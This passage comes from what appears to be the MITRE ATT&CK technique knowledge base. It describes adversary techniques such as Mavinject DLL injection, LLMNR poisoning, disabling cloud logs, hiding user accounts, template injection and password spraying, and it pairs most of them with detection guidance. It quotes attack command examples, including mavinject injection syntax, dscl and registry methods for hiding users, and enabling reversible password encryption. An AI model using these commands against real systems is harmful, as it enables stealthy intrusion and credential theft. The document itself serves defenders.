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T1218.013

System Binary Proxy Execution: Mavinject

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

22 September 2021

enterprise-attack

Defense Evasion

Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. Adversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.

T1189

Drive-by Compromise

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content). Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise) Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. * In some cases a second visit to the website after the initial scan is required before exploit code is delivered. Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)

18 April 2018

enterprise-attack

Initial Access

Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

T1557.001

Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS) Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.  Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)

11 February 2020

enterprise-attack

Collection, Credential Access

Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)

T1597.002

Search Closed Sources: Purchase Technical Data

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

02 October 2020

enterprise-attack

Reconnaissance

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

T1562.008

Impair Defenses: Disable or Modify Cloud Logs

An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)

12 October 2020

enterprise-attack

Defense Evasion

Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs) In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.

T1559.003

Inter-Process Communication: XPC Services

Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev) Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

12 October 2021

enterprise-attack

Execution

T1564.002

Hide Artifacts: Hidden Users

Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.

13 March 2020

enterprise-attack

Defense Evasion

Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> key. In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account)

T1027.005

Obfuscated Files or Information: Indicator Removal from Tools

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

19 March 2020

enterprise-attack

Defense Evasion

The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

T1574.005

Hijack Execution Flow: Executable Installer File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

13 March 2020

enterprise-attack

Defense Evasion, Persistence, Privilege Escalation

Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

T1562.009

Impair Defenses: Safe Mode Boot

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

23 June 2021

enterprise-attack

Defense Evasion

Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\*</code> in front of the "Startup" value name: <code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"]</code> or by adding a key to <code>HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) Monitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and <code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)

T1543.005

Create or Modify System Process: Container Service

Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host. For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker) In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020) Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)

15 February 2024

enterprise-attack

Persistence, Privilege Escalation

T1546.006

Event Triggered Execution: LC_LOAD_DYLIB Addition

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)

24 January 2020

enterprise-attack

Persistence, Privilege Escalation

Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.

T1098.005

Account Manipulation: Device Registration

Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)

04 March 2022

enterprise-attack

Persistence, Privilege Escalation

T1221

Template Injection

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017) Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files) This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)

17 October 2018

enterprise-attack

Defense Evasion

Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. Monitor .rtf files for strings indicating the <code>&#42;\template</code> control word has been modified to retrieve a URL resource, such as <code>&#42;\template http</code> or <code>&#42;\template \u-</code>.

T1110.003

Brute Force: Password Spraying

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

11 February 2020

enterprise-attack

Credential Access

Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. * All systems: "Audit Logon" (Success & Failure) for event ID 4648.

T1556.005

Modify Authentication Process: Reversible Encryption

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components: 1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code> 2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code> 3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>) 4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>) With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.

13 January 2022

enterprise-attack

Credential Access, Defense Evasion, Persistence

Monitor property changes in Group Policy: <code>Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\Store passwords using reversible encryption</code>. By default, the property should be set to Disabled. Monitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations. Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)

T1588.001

Obtain Capabilities: Malware

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

01 October 2020

enterprise-attack

Resource Development

Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.

T1053.002

Scheduled Task/Job: At

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

27 November 2019

enterprise-attack

Execution, Persistence, Privilege Escalation

Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Review all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, 